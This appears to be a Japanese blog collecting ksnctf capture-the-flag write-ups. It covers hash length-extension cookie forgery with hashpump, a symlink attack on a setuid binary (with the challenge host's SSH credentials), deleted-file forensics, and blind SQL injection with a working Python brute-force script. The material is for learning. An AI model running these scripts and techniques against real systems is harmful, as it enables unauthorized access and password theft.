ksnctf(9)
MathⅡ 50点
来ました。二分探索したくなるやつ。
x = 2748040023408750324411119450523386950660946398855386842074606380418316981389557916980086140301887947706700698930830779678048474531538039134089675000612962004189001422715316147779554460684462041893073445562829316520071658956471592707597247194589999870235577599858641217209525243986680999448565468816434633441308131788183291153809253610695081752296732033298647222814340913466738465892791206393936089466068684809286651197884210187525269355913763182559833600649423167126622527203197940618965341674710993871930168655984019611567024681974446413864111651893113475795042753452042221938667445789706741508160949598322950403760355305740757495122850819958219745478009476321531997688864567881328571570240278649150057863614800304034452842380274161491817926949213762740941829027657311016236224840157689532838274458699038989430527152474540367086746579688987076042252804910459873636444778218434530247647760637770881658596016745610672707638583665201858035977485748775481448417394363801163664632527695106599930657132405666766730530997168969743603771751166591137309462845077320233889570871715682231576283485837079838925927845291565664213349164253238166525895494203520538861102027123057706413048503799598270037162337386882901940037500301040636118696723417952777083334146545991127148023661461455142653367976629308434919237639329808504561590505864983890552051987234096577849288536293631380950881787840319976968198704697701966146561843819563765280293823120028941691560894722032503932540560461794190408016359786029679686957711035845785762377768203676919060935155382104877926736292611130243057909501332528103700463961697932230444978571571548190911155741113324573679444638703192583211952316173122745153529542339170631749363019742630339456502772150867703497326010832217054307087826776870481852284816747574983354077170761286175754243223519482572371717625453405597596790583499145036350302955327521461648262537855645876387858201576107385450844609238327605056916243564458120595540013872075267316304999752934829122583429168665162743589578036716137649553856654996867605565582594039606555708509284616434305172100068285925706963351193710675088846623856567419346569873886366829228933416064828304824833588800700991940600359503453201939139663042787644390810036292415117714919711827630953170559057272633043896443339064006637234499569232762828723613158050896065355005775876910820958296537497557737916521798848004761708690607167573807307291510879396794861418856342383200817566360552405183866698509354047737422523253071467100174078467454351746681775690022510266842064132386305358891086764558955802257688899610117102582837343655907837234028334304769930810792079059216436489942124896722072971246781926084943216581585837400274934104255861076781834022322597318553478829221018993823759479304536464719195824731739557957722610850860725276329731096193041588880149698625007746958307472328762247329346952956782896672291984502790479223886842985800649168009891087704339671376795754679245964575179873102014722210341771266309855717402003098724600141420936602986387680283404929020457247001371544838792904086327642729822000980710278752669990211765608002907900832262843253793831541691706704836397397798869236939393204666502455311086553874765248631328418556164635889080357612074921368044611251307530838475840480894307375072202500636365832958938363048173011687247738236161480446422712858040552310006617829659443118541556912488329721272939472554467384944920030182974546889304443711910957344160175437149714520561879951921970795705645045936350875827028675689840953101114431720413756855193291198455863087675930604549263160397353363504597829924339064422377323361781720524799661393081986371074530022532621955945720583925291264598924971169093688390536693144593482790588893095052569365154072722966434676949346037949263628957665599420417719951187489606010866702371368012263032537375401145460592536898818245350468847674995676417425737655723761467908866712060720593684978725896677308273 l = 1 r = 10**50 while(l+1!=r): mid = (l+r)//2 mid_pow = pow(mid, 101) if mid_pow<x: l = mid else: r = mid print(r)
xの桁数を超える桁数の値としてr=10**50としました。
O(log1050) ということで余裕ですね。しかしこんな大きな数が扱えるのはPythonだからなのです。多倍長整数に感謝しましょう。
ksnctf(8) length-extension attack
KanGacha 130点
<?php $salt = 'FLAG_????????????????'; $shipname = array( 'Nagato', 'Mutsu', 'Kongo', 'Hiei', 'Haruna', 'Kirishima', 'Fuso', 'Yamashiro', 'Ise', 'Hyuga', "Yamato [Congratulations! The flag is $salt. ??????????????????????????????????????.]" ); // Check signature and read if (isset($_COOKIE['ship']) and isset($_COOKIE['signature']) and hash('sha512', $salt.$_COOKIE['ship']) === $_COOKIE['signature']) $ship = explode(',', $_COOKIE['ship']); else $ship = array(); if (isset($_POST['submit'])) { // Gacha if ($_POST['submit'] === 'Gacha') { // Yamato is ultra rare $ship[] = mt_rand(0, count($shipname)-2); $s = implode(',', $ship); $sign = hash('sha512', $salt.$s); setcookie('ship', $s); setcookie('signature', $sign); } // Clear if ($_POST['submit'] === 'Clear') { setcookie('ship', '', 0); setcookie('signature', '', 0); } header("Location: {$_SERVER['REQUEST_URI']}"); exit(); } ?> <!DOCTYPE html> <html> <head> <title>KanGacha</title> </head> <body> <h1>KanGacha</h1> <form method="POST"> <input type="submit" name="submit" value="Gacha"> <input type="submit" name="submit" value="Clear"> </form> <ul> <?php for ($i=0; $i<count($ship); $i++) echo "<li>{$shipname[$ship[$i]]}</li>\n"; ?> </ol> </body> </html>
shipに10を入れ、salt + COOKIE['ship'] の sha512 によるハッシュ値が、 COOKIE['signature']と一致させればいいことがわかる。
length-extension attackという攻撃手法があります。これは、ハッシュ関数Hによっては、y=H(secret+x)について、xとyが既知であるとき、secretの逆算はできなくても、H(secret+x+z)が求められるというものです。
今回の場合、一回「Gacha」をすることで、xとyを入手できるため、H(salt + x + 10)の値が入手できます。
hashpumpを使えば簡単に求められます。
hashpumpのinstall
$ git clone https://github.com/bwall/HashPump.git $ apt-get install g++ libssl-dev $ cd HashPump $ make $ make install
$ hashpump Input Signature: 662c1f9223674b42a1ac767aea7096a7eefe55f7f8ef99ba441ce61b065bda6b9b9c242a18bf17aea164aa76aed60e9cb586812a74d346b0f17bb61b5dbba988 Input Data: 4 Input Key Length: 21 Input Data to Add: ,10 68f7d1fb28f4428f6e6589e374bc4d21ed111a009129ae38190a556a948c2f4e647c0f372ce8e115650280df9234b298ac45a5367d4c639a8ea162c1db0729f6 4\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0,10
これで、signatureとshipの値が入手できました。shipのほうはエンコードしておきます。
これをdevtoolからcookie1に代入して、「Gacha」を押せばFLAGゲットです。
この記事がめちゃくちゃ参考になりました。
ksnctf(7)
USB flash drive 80点
ftk imagerを使って中身を見てみると、FLAGがある。
別解法
flsコマンドを使う。(flsコマンドはsleuthkit内に入っているコマンドの一つで、 ディスクイメージ内のファイルとディレクトリの名前を列挙してくれる)
$ fls drive.img r/r 4-128-4: $AttrDef r/r 8-128-2: $BadClus r/r 8-128-1: $BadClus:$Bad r/r 6-128-4: $Bitmap r/r 7-128-1: $Boot d/d 11-144-4: $Extend r/r 2-128-1: $LogFile r/r 0-128-1: $MFT r/r 1-128-1: $MFTMirr r/r 9-128-8: $Secure:$SDS r/r 9-144-11: $Secure:$SDH r/r 9-144-5: $Secure:$SII r/r 10-128-1: $UpCase r/r 3-128-3: $Volume r/r 35-128-1: Carl Larsson Brita as Iduna.jpg r/r 37-128-1: Mona Lisa.jpg r/r 38-128-1: The Great Wave off Kanagawa.jpg -/r * 36-128-1: Liberty Leading the People.jpg -/r * 36-128-4: Liberty Leading the People.jpg:00 -/r * 36-128-5: Liberty Leading the People.jpg:01 -/r * 36-128-6: Liberty Leading the People.jpg:02 -/r * 36-128-7: Liberty Leading the People.jpg:03 -/r * 36-128-8: Liberty Leading the People.jpg:04 -/r * 36-128-9: Liberty Leading the People.jpg:05 -/r * 36-128-10: Liberty Leading the People.jpg:06 d/d 256: $OrphanFiles
ここで、「*」 が付いているのは削除ファイルを意味している。
試しにicatコマンドで中身を確認してみる。
icat drive.img 36-128-1 > a.jpg
a.jpgを開くと
このファイル内にFLAGがあるということなので、ほかのやつの内容も見てみる。
icat drive.img 36-128-1 >> FLA
FLAGっぽいですね。全部の出力を一つのtxtに連結してFLAGゲットです。
#!/bin/sh icat drive.img 36-128-4 >> flag.txt icat drive.img 36-128-5 >> flag.txt icat drive.img 36-128-6 >> flag.txt icat drive.img 36-128-7 >> flag.txt icat drive.img 36-128-8 >> flag.txt icat drive.img 36-128-9 >> flag.txt icat drive.img 36-128-10 >> flag.txt
$ cat flag.txt
ksnctf(6) シンボリックリンク攻撃
Proverb 70点
とりあえずsshで接続
$ ssh -p 10022 q13@ctfq.sweetduet.info password: 8zvWx00MakSCQuGq
カレントディレクトリを確認してみる
$ ls -l total 28 -r-------- 4 q13a q13a 22 Jun 1 2012 flag.txt ---s--x--x 1 q13a q13a 14439 Jun 1 2012 proverb -r--r--r-- 1 root root 755 Jun 1 2012 proverb.txt -r--r--r-- 1 root root 151 Jun 1 2012 readme.txt
これを見ると、flag以外はユーザq13でも使えそう。(ここで、proverbに書かれているsはセットIDといい、ほかのユーザーがあたかもrootであるかのように実行できるようにするもの)
proverb.txt
All's well that ends well. A good beginning makes a good ending. Many a true word is spoken in jest. Fear is often greater than the danger. Go for broke! Fire is a good servant but a bad master. The wolf knows what the ill beast thinks. There is always a next time. Spare the rod and spoil the child. The calm before the storm. The die is cast. Take heed of the snake in the grass. Confidence is a plant of slow growth. Love is blind. The sky's the limit... Truth lies at the bottom of a well. Blood is thicker than water. Ignorance is bliss. There's no way out. Full of courtesy, full of craft. Heaven helps those who help themselves. Bad luck often brings good luck. Misfortunes never come singly. Nothing ventured, nothing gained. Eternal Immortality.
proverb
There's no way out.
proverb.txtの中身がランダムに出力されている。
⇒flag.txtのファイル名をproverb.txtに変えてproverbを実行すればよい
シンボリックリンクを用いる。
シンボリックリンクとはUNIX系のOSにおけるファイルやフォルダの代理人ファイルのことです。windowsでいうショートカットのようなもので、フォルダやファイルのコピーを作成するイメージです。
readme.txt
You are not allowed to connect internet and write the home directory. If you need temporary directory, use /tmp. Sometimes this machine will be reset.
作業は/tmpでやれということなので、とりあえず/tmpに移動し、flag.txtのシンボリックリンクを作成します。
$ cd /tmp $ ln -s /home/q13/flag.txt ./proverb.txt ln: creating symbolic link `./proverb.txt': File exists
proverb.txtはすでに存在しているらしいです。catコマンドで中身を見てみると、「Please make your own subdirectory.」と書かれているので、/tmp直下にmkdirで適当にフォルダを作成します。
$ mkdir subdir $ cd subdir
ここにflag.txtとproverbのシンボリックリンクを作成します。
$ ln -s /home/q13/flag.txt ./proverb.txt $ ln -s /home/q13/proverb ./proverb
後はprobervを実行すればフラグゲットです。
また面白い攻撃を学ぶことができました。
ksnctf(5)
Programming 110点
とりあえずcppファイルをダウンロードして実行してみると
FROG_This_is_wrong_:(
違うらしい。不自然に配置された空白が変に思い、調べてみるとwhitespaceという言語があるらしい。
オンラインで実行できるサイトがあったので、そこでデバック&実行する。 PINを聞かれるので、デバックで出たきた値の33355524を入力してFLAGをゲット。
ksnctf(4) SQLインジェクション、ブラインドSQLインジェクション
login 120点
とりあえずSQLインジェクション
' or 1==1 --
をIDに入れてあげると、
Congratulations! It's too easy? Don't worry. The flag is admin's password.
となりうまくいったようだが、Flagはまだ手に入らない。パスワードがFlagになっているらしいので、ブルートフォース(総当たり)でパスワードを一文字ずつ当てていく。これはブラインドSQLインジェクションという技らしい。
解法
まず最初にFLAGの文字数を当てます。
当たってた場合は下のような画面が表示されます。
Congratulations! It's too easy? Don't worry. The flag is admin's password. Hint: <?php function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');} $id = isset($_POST['id']) ? $_POST['id'] : ''; $pass = isset($_POST['pass']) ? $_POST['pass'] : ''; $login = false; $err = ''; if ($id!=='') { $db = new PDO('sqlite:database.db'); $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'"); $login = $r && $r->fetch(); if (!$login) $err = 'Login Failed'; } ?><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title> </head> <body> <?php if (!$login) { ?> <p> First, login as "admin". </p> <div style="font-weight:bold; color:red"> <?php echo h($err); ?> </div> <form method="POST"> <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div> <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div> <div><input type="submit"></div> </form> <?php } else { ?> <p> Congratulations!<br> It's too easy?<br> Don't worry.<br> The flag is admin's password.<br> <br> Hint:<br> </p> <pre><?php echo h(file_get_contents('index.php')); ?></pre> <?php } ?> </body> </html>
当たってなかった場合は下のような画面が表示されます。
First, login as "admin". Login Failed
ここからわかるように正解の場合と不正解の場合で画面に表示される文字の数が大きく異なっています。よってその文字数を見ることで当たってたか外れていたかを判定することができます。
次にパスワードを当てます。
ASCIIのテーブルを見てあげると、FLAGに使われるのは48~122であることがわかります。よってこの範囲でブルートフォースしてあげます。
コード
import requests url = 'http://ctfq.sweetduet.info:10080/~q6/' # 文字長総当たり length = 0 for i in range(1,100): sql = "' or (SELECT length(pass) FROM user WHERE id = \'admin\') == {} --".format(i) param = {"id": sql} if len(requests.post(url, param).text) > 1000: length = i break # パスワード総当たり password = '' for i in range(1, length+1): for char in range(48, 123): sql = "' or substr((SELECT pass FROM user WHERE id = \'admin\'), {}, 1) = \'{}\' --".format(i, chr(char)) param = {'id': sql} if len(requests.post(url, param).text) > 1000: print(chr(char)) password += chr(char) break print(password)
おまけ
二分探索を使って早くしようとした
import requests url = 'http://ctfq.sweetduet.info:10080/~q6/' length = 0 for i in range(1,100): sql = "' or (SELECT length(pass) FROM user WHERE id = \'admin\') == {} --".format(i) param = {"id": sql} if len(requests.post(url, param).text) > 1000: length = i break password = '' for i in range(1, length+1): l = 48 r = 123 while(l+1!=r): char = (l+r) // 2 sql = "' or substr((SELECT pass FROM user WHERE id = \'admin\'), {}, 1) < \'{}\' --".format(i, chr(char)) param = {'id': sql} if len(requests.post(url, param).text) > 1000: r = char else: l = char print(chr(char)) password += chr(char) print(password)
わずか100回のループがlog(100)回になったところで人間に感じられるような変化はなかった(あたりまえ)。 遅いのはリクエストの間隔ですよね、、。そんな爆速でリクエストを送ったらDos攻撃になってしまいます(笑) 今回はだめでしたが、こういうアルゴリズムが生きる日が来ることを信じて精進してまいります。
ksnctf writeup - Qiitaこの記事を参考にさせていただきました。